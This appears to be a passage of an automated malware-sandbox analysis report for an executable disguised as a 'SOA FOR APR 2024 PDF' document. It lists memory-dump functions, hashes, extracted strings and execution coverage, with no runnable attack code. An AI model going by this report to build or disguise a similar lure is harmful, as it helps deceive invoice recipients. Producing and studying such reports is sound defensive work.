Opcode ID: 78e4f8946354bfcf9d329dabe9f17fb761683f6deb36ebd2a7a5e5fb3fd12e96
Instruction ID: 620526238fcbc6f877912208f63796052a9180ae40ca99579f480dd5540e24da
Opcode Fuzzy Hash: 78e4f8946354bfcf9d329dabe9f17fb761683f6deb36ebd2a7a5e5fb3fd12e96
Instruction Fuzzy Hash: C711D3B58003499FDB10DF9AC985BDEBBF8FB48324F10845AD558A7650C379A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069617322.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dad000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac56ea675b23e6dc9ae9e3eeee882a7f1c65e7f42dbf8979f6ed3f8334b3535
Instruction ID: dcc433e492858bffb182ff42580dfa13c1f4964c9781a06b7247720fd7e555fa
Opcode Fuzzy Hash: 3ac56ea675b23e6dc9ae9e3eeee882a7f1c65e7f42dbf8979f6ed3f8334b3535
Instruction Fuzzy Hash: 12213771904240DFCB05DF14D9C0F26BF66FB9A318F24C569E94A0B656C33AD816DBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00DBD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069689176.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dbd000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9235ee3fd0135d95eed318925fa7555d78d3d5f6e2f6a93f2b1a4cb9dcd3af84
Instruction ID: fa68b228c95e00855ce608326d25d134f623c7b2c1e725640bc2ed2d8e32887f
Opcode Fuzzy Hash: 9235ee3fd0135d95eed318925fa7555d78d3d5f6e2f6a93f2b1a4cb9dcd3af84
Instruction Fuzzy Hash: 3021F275604204DFCB14EF24D984B66BF66FB88314F24C569E94A4B296D33AD807CA71

Uniqueness

Uniqueness Score: -1.00%

Function 00DBD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069689176.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dbd000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0045d99a73de67198c2c9c69cf7e505f257ac6ba06b7d0abd91f00d3bb2b9f
Instruction ID: 3bc465490eca4cc7062681e744b6b4cff0fd8130cdabfd1cb3b84ca1a53b21e8
Opcode Fuzzy Hash: 8d0045d99a73de67198c2c9c69cf7e505f257ac6ba06b7d0abd91f00d3bb2b9f
Instruction Fuzzy Hash: 18210471504284EFDB05DF24D9C0F66BBA6FB88314F24C56DE94A4B296D33AD806CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00DBD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069689176.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dbd000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6931329aba923d8a10e0f90d65263030b7a42586e4c810d105389d167e5b41d5
Instruction ID: d3953349114e4f176f4660de2433f95e8cb3eaa9eb7ab9dd81fde747b11d19d9
Opcode Fuzzy Hash: 6931329aba923d8a10e0f90d65263030b7a42586e4c810d105389d167e5b41d5
Instruction Fuzzy Hash: FB218E75509380CFCB02DF24D994715BF72EB46314F28C5EAD8498B2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069617322.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dad000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 07c6449b63fb9caf58b6728c37f0d85f9493805394c8f55442cf54c455b81ec1
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: C9112672804280CFCB02CF10D5C4B16BF72FB99314F28C6A9D84A0B656C336D85ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DBD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069689176.0000000000DBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dbd000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: 2716b3712a9edc6e0d9c0d173526ef557b193b5970df3933e63c60b903268b09
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 0111BB75504280DFCB02CF10C5C4B15BFA2FB84314F28C6A9D84A4B296C33AD80ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069617322.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dad000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a15b4762cce63673146ef8c397b38297940212713da5e38c1255457645c3eb
Instruction ID: 37b30eb351aa2fc20c66be581e2eb9b0e240fb9208c83b05024a400956fb7aa1
Opcode Fuzzy Hash: d1a15b4762cce63673146ef8c397b38297940212713da5e38c1255457645c3eb
Instruction Fuzzy Hash: 9E0126710043409AE7248F29CD84B67BF9DEF47324F28C92AED4B4A696D279DC40CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 00DAD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069617322.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dad000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d71fb5c1652cadac1a385c93670f47798fa2bd527b21eced80007b94b51805
Instruction ID: e229c5aeb7de8005df4886e560f368b38057044fc685e1639ef0453ccf1d4b92
Opcode Fuzzy Hash: 84d71fb5c1652cadac1a385c93670f47798fa2bd527b21eced80007b94b51805
Instruction Fuzzy Hash: 99F096714043449EEB248F16CCC8B62FF98EF56734F18C55AED4A4B696C2799C44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 070C3810 Relevance: 5.3, Strings: 4, Instructions: 259COMMON

Download Yara Rule

Strings

T+-q, xrefs: 070C3B4A
]\`, xrefs: 070C3A92
[V~*, xrefs: 070C397C
[V~*, xrefs: 070C3975

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$[V~*$]\`
API String ID: 0-1849991408
Opcode ID: 0b6f3f1460400ba79407d6541b407f35d4cf8692b61d8864e0bd054ced07eea0
Instruction ID: 69d62fe741a47cf9cebde8c6fe3cc8181551bf4d75aafdd1e12fbde44c0d15fb
Opcode Fuzzy Hash: 0b6f3f1460400ba79407d6541b407f35d4cf8692b61d8864e0bd054ced07eea0
Instruction Fuzzy Hash: EDB1E5B0E2561ADBDB04CFAAD98089EFBF2FF89300F14D62AD415BB258D33099058F55

Uniqueness

Uniqueness Score: -1.00%

Function 070C3800 Relevance: 4.0, Strings: 3, Instructions: 259COMMON

Download Yara Rule

Strings

T+-q, xrefs: 070C3B4A
]\`, xrefs: 070C3A92
[V~*, xrefs: 070C397C

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: T+-q$[V~*$]\`
API String ID: 0-3978741314
Opcode ID: 4a707dbf5e1a8b9e0833f89185e3f260b2a5f4f08b7290ee3c9646e541fe98a8
Instruction ID: aecdb4c3f85f38de8988a85916a686e3b09a64ee8cdec55fffa41d764419252a
Opcode Fuzzy Hash: 4a707dbf5e1a8b9e0833f89185e3f260b2a5f4f08b7290ee3c9646e541fe98a8
Instruction Fuzzy Hash: CAB1F6B0E2521A9FDB04CFAAD98089EFBF2FF89300F14D62AD415BB259D73099058F55

Uniqueness

Uniqueness Score: -1.00%

Function 070CC5B8 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

M|G}, xrefs: 070CC613

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: M|G}
API String ID: 0-2220694155
Opcode ID: 4edf8223191fa2b091298a4a50c23fd1da1ae7efb9fc020e0f936493f4c914e1
Instruction ID: 45cbb219094fd8437502eb9b85a69d327175cc4f43e2acbf800e43a281cf69f8
Opcode Fuzzy Hash: 4edf8223191fa2b091298a4a50c23fd1da1ae7efb9fc020e0f936493f4c914e1
Instruction Fuzzy Hash: D7E11EB4E002198FDB14DFA9C6819AEFBF2FF89315F248259D419A735AD730A941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04F40518 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf0a88e56e5b083decfd86cfa05b68751e6e598219814d10166d84db146baed
Instruction ID: e862151d3ee793e4a7f5860f982125f7f65c477073264c0ea708b49c35652100
Opcode Fuzzy Hash: abf0a88e56e5b083decfd86cfa05b68751e6e598219814d10166d84db146baed
Instruction Fuzzy Hash: 5D1280B2401F4A8EE310CF66ED4C18A7EB1BB85318BA15609D2617B3F5DBB9158ECF44

Uniqueness

Uniqueness Score: -1.00%

Function 070CA4E8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9652089ac09b8908348acdf3a70e407fbaedad8d6bfcbcae51bc5592f854234
Instruction ID: 48cae0a85cf3e3a469c1146f292a96c558708469d1f7028d9512a363152d4a8a
Opcode Fuzzy Hash: f9652089ac09b8908348acdf3a70e407fbaedad8d6bfcbcae51bc5592f854234
Instruction Fuzzy Hash: D5E1C9B4E002198FCB14DFA9C6819AEBBF2BF89305F24C269D414A735AD735A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 070CC180 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec938529d88f030f620cea4f5a04cab4e904eb7ae7ceb033354e39fa1d9f059
Instruction ID: 6eed69342735b643a3bfa7591d3de9e749afb18e2565cabf0a7176c21a2b64bd
Opcode Fuzzy Hash: aec938529d88f030f620cea4f5a04cab4e904eb7ae7ceb033354e39fa1d9f059
Instruction Fuzzy Hash: 7BE1FDB4E002198FDB14DFA9C5809AEFBF2FF89305F248259D419AB35AD731A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 070CA0B0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f434d0686417892ffc15e62b22ac4acf28c491597591a8685880203244583c82
Instruction ID: 4910b53b195ce29106402b3d5ef2fb0f3a52d28bcd4d7995b916d06a94ed65f2
Opcode Fuzzy Hash: f434d0686417892ffc15e62b22ac4acf28c491597591a8685880203244583c82
Instruction Fuzzy Hash: 32E1ECB4E012198FCB14DFA9C5809AEFBF2BF89315F24C269D414AB35AD735A941CF60

Uniqueness

Uniqueness Score: -1.00%

Function 070CA920 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5db754a64e9e657bc6d1ab88edcdaa980451081dd71d62bfc738cc27e611bce
Instruction ID: 29f5e7327083f0663bc38a3ac50a5facf8dedc05a2cf75a6748f5bdb61cf7f43
Opcode Fuzzy Hash: b5db754a64e9e657bc6d1ab88edcdaa980451081dd71d62bfc738cc27e611bce
Instruction Fuzzy Hash: A3E1FAB4E012198FCB14DF99C6809AEFBF2BF89305F24C259D415A735AD731A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 070C2117 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50820024feda85a69abf0c45327386afbebee3e3c7bf7b7bc3072524353a7da0
Instruction ID: 2bdc5e8d78a91a776006b248f52781c025c207f8d60bdafa1e6a71b1d06df720
Opcode Fuzzy Hash: 50820024feda85a69abf0c45327386afbebee3e3c7bf7b7bc3072524353a7da0
Instruction Fuzzy Hash: 16D15931D1074A8ACB11EF64DA50A9DB7B1FF96300F10C79AE0493B665FB746AC5CB90

Uniqueness

Uniqueness Score: -1.00%

Function 070C2141 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d2eb8d6343487ca7f4967b13b616a346af2b6b333c19be5785604c51a66ae48
Instruction ID: 786377b27b460d8b61bad95d12b3b22f7d3d7538bb961afd540cad4ff9be0a58
Opcode Fuzzy Hash: 0d2eb8d6343487ca7f4967b13b616a346af2b6b333c19be5785604c51a66ae48
Instruction Fuzzy Hash: 3AD14831C1075A8ACB11EF64DA50A9EB3B1FF96300F10C79AE0093B665FB746AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 070C2150 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58e3ceb1e675c2d30632e60b5e426e6c64659ad0cfd2fef28a207844968e0a18
Instruction ID: 90320b964593652ef4da06c8663f3974d756344d4d0251273691cc652a8d64ad
Opcode Fuzzy Hash: 58e3ceb1e675c2d30632e60b5e426e6c64659ad0cfd2fef28a207844968e0a18
Instruction Fuzzy Hash: 4BD13831C1075A8ACB11EF64DA50A9EB3B5FF96300F10C79AE0093B665FB746AC5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00E1E3B4 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afaffd2b1f8fc896e4abbf71bcd2986e58dc18a189bf5def6c34d2dc1a28c786
Instruction ID: 4805ea745fa20bce1d64865c37812e90caf514484b5c57022d873206525b13cb
Opcode Fuzzy Hash: afaffd2b1f8fc896e4abbf71bcd2986e58dc18a189bf5def6c34d2dc1a28c786
Instruction Fuzzy Hash: 35A16A32A002198FCF09DFB5C8445DEBBB2FF84304B15557AE916BB265DB35E986CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04F40508 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ebeb0e4115345474126cc88525cc2f8e6c89e03eabbade377159b2afe4ea431
Instruction ID: 11cce3430b3ca3e480fbf3653114e793a6abaaa4fdb3ed6f7bc257678643e84e
Opcode Fuzzy Hash: 4ebeb0e4115345474126cc88525cc2f8e6c89e03eabbade377159b2afe4ea431
Instruction Fuzzy Hash: C8C1E3B2801B4A8ED710CF26ED4C18ABFB1BB85328BA55609D1617B3F4DBB4158ECF44

Uniqueness

Uniqueness Score: -1.00%

Function 070CC16F Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd587186e5c824d6ad525b84f71d589daa4d36c6e575badaa62ef956592ec53d
Instruction ID: b7149f253c9929ad6b25da8f755e37b324769fe5df2738628349ca43a3aaea0b
Opcode Fuzzy Hash: cd587186e5c824d6ad525b84f71d589daa4d36c6e575badaa62ef956592ec53d
Instruction Fuzzy Hash: E2512CB0E042198FDB15DFA9C6805AEFBF2BF89305F24C16AD418AB356D7349A41CF61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SOA FOR APR 2024 PDF.exePID: 7384, Parent PID: 1988COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	57
Total number of Limit Nodes:	6

Executed Functions

Function 066B2750 Relevance: 9.0, Strings: 6, Instructions: 1479COMMON

Download Yara Rule

Strings

$jq, xrefs: 066B3B88
$jq, xrefs: 066B3B64
$jq, xrefs: 066B3B7C
$jq, xrefs: 066B3B2F
$jq, xrefs: 066B3B3B
$jq, xrefs: 066B3B58

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: 254f54cb6990bfb9cc87280f72cf8bac26651a5e3e57a03746741e5d6ddb0aee
Instruction ID: 63862cfdc0e9f434b68f91f3aeca856da343955e325150e61d97169bcadb8390
Opcode Fuzzy Hash: 254f54cb6990bfb9cc87280f72cf8bac26651a5e3e57a03746741e5d6ddb0aee
Instruction Fuzzy Hash: ABD25830A00605CFDB64DF68C594AADB7F6FF85300F5495AAD409AB365EB34ED86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066BB1F8 Relevance: 8.3, Strings: 6, Instructions: 764COMMON

Download Yara Rule

Strings

$jq, xrefs: 066BBB85
$jq, xrefs: 066BBBC5
$jq, xrefs: 066BBBB9
$jq, xrefs: 066BBB5D
$jq, xrefs: 066BBB91
$jq, xrefs: 066BBB51

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-3356825164
Opcode ID: 483615c979a7cc42bfcb8f089144bf9d13e9e9c6debe00d4b38749731b3a2993
Instruction ID: 041004b212bdb1f5422fa8e3583d1f388c237b58242b58f7a99db3ec4fda9e2a
Opcode Fuzzy Hash: 483615c979a7cc42bfcb8f089144bf9d13e9e9c6debe00d4b38749731b3a2993
Instruction Fuzzy Hash: DB525C30E10209CFDBA4DF69D5807AEB7A6EB85310F24952AE405EB395DF34EC85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 066B7D48 Relevance: 3.0, Strings: 2, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 066B82E3
$jq, xrefs: 066B82EF

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: 834497b14fec938e576eab2e499af82dd962c05b89b8842097d2d8772a727622
Instruction ID: 190eeabdb8d7a8991f1e87d0b58e8a115f316a63f3670f7b1f7139e366156119
Opcode Fuzzy Hash: 834497b14fec938e576eab2e499af82dd962c05b89b8842097d2d8772a727622
Instruction Fuzzy Hash: 2D02AD30B00605CFCB54DF68D594AAEBBB6FF84344F248569E4059B399DB35ED86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066B5568 Relevance: 1.8, Strings: 1, Instructions: 593
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 066B5C5E

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 4ee7be09fb4d6cc3fc8f342dba94fd37b25e24bef54919118e5813d7be408aed
Instruction ID: cca0bd14f6c3f7bf158506ec6b78355654be28845487432a623271cc67e94a98
Opcode Fuzzy Hash: 4ee7be09fb4d6cc3fc8f342dba94fd37b25e24bef54919118e5813d7be408aed
Instruction Fuzzy Hash: 5422BE71E10219DFDF60DFA4C5906EEBBB2EF84320F24846AD416AB395DA35DD81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 066B65C8 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf2cc2491de101a5f5d7073188d119a312f0301f95d320adb9a1d28e14af466
Instruction ID: 42f924a6f7421b0fd8c6c546679b348e77310eb02530a5e8b0b469f894954b5c
Opcode Fuzzy Hash: daf2cc2491de101a5f5d7073188d119a312f0301f95d320adb9a1d28e14af466
Instruction Fuzzy Hash: 3C629D34B00205CFDB54EB68D584AADBBF6EF84314F249469E406EB395DB35ED86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066BC138 Relevance: .6, Instructions: 636COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81e976e9d80037b3697ed79d6c55a8e2caf9370cec62dcd9b948d74669bb6b6b
Instruction ID: 56061034dd4f0e7627ca5c1b4e60fd11952240472531028e00b31b377383e200
Opcode Fuzzy Hash: 81e976e9d80037b3697ed79d6c55a8e2caf9370cec62dcd9b948d74669bb6b6b
Instruction Fuzzy Hash: 3A32AF34B00205CFDB54EB68D994AEDBBB6FB88310F109569E409E7359DB34ED85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 066BAC90 Relevance: 10.4, Strings: 8, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 066BADB1
$jq, xrefs: 066BAE04
$jq, xrefs: 066BAE68
$jq, xrefs: 066BAE10
$jq, xrefs: 066BAE3F
$jq, xrefs: 066BADBD
$jq, xrefs: 066BAE5C
$jq, xrefs: 066BAE33

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-666546452
Opcode ID: d22a90a8b10fc003625166f6b5cb21e567c91b9b876b9301f31f90b29372bb1a
Instruction ID: 2f52b6790a40c74a719871c79c99e603e03a1f3fd9edf36522d1ad48b232fdc4
Opcode Fuzzy Hash: d22a90a8b10fc003625166f6b5cb21e567c91b9b876b9301f31f90b29372bb1a
Instruction Fuzzy Hash: 08E16C30E10209CFDB69EFA5D9946EEB7B6EF85300F109529E415AB359DB34DC86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 066B9118 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 066B91CF
$jq, xrefs: 066B91C3
$jq, xrefs: 066B9188
$jq, xrefs: 066B9194

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq$$jq
API String ID: 0-2428501249
Opcode ID: 8eea426b01a2b6c0e0ffd8048664bef23af633ab565cfc01b091b1a9e6efa228
Instruction ID: c54e61f811abf1994f9deb47d61d690bbeed75f9c8ff0b987a9b8870c5a85edc
Opcode Fuzzy Hash: 8eea426b01a2b6c0e0ffd8048664bef23af633ab565cfc01b091b1a9e6efa228
Instruction Fuzzy Hash: 45916030F0060A8FDB94DF65D9547AE77B6AF85340F108569D909EB398EB30ED868B90

Uniqueness

Uniqueness Score: -1.00%

Function 066BCF00 Relevance: 4.5, Strings: 3, Instructions: 799
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 066BD2FF
$jq, xrefs: 066BD30B
$jq, xrefs: 066BD2F7

Memory Dump Source

Source File: 00000009.00000002.3332483660.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_66b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID: $jq$$jq$$jq
API String ID: 0-3696375380
Opcode ID: 51df000b1a2ef0991d44d992336fd2aedcd227ce5147859a2d7cf01800387303
Instruction ID: 427d04f44dfbfd64941ffc9028f97357087b146b3991486602afb56dcc3740be
Opcode Fuzzy Hash: 51df000b1a2ef0991d44d992336fd2aedcd227ce5147859a2d7cf01800387303
Instruction Fuzzy Hash: 86623030A00605CFCB55EF68E590A9EB7BAFF84314F209669D0059F369DB75ED86CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00E907A8 Relevance: 4.1, Strings: 3, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 00E90922
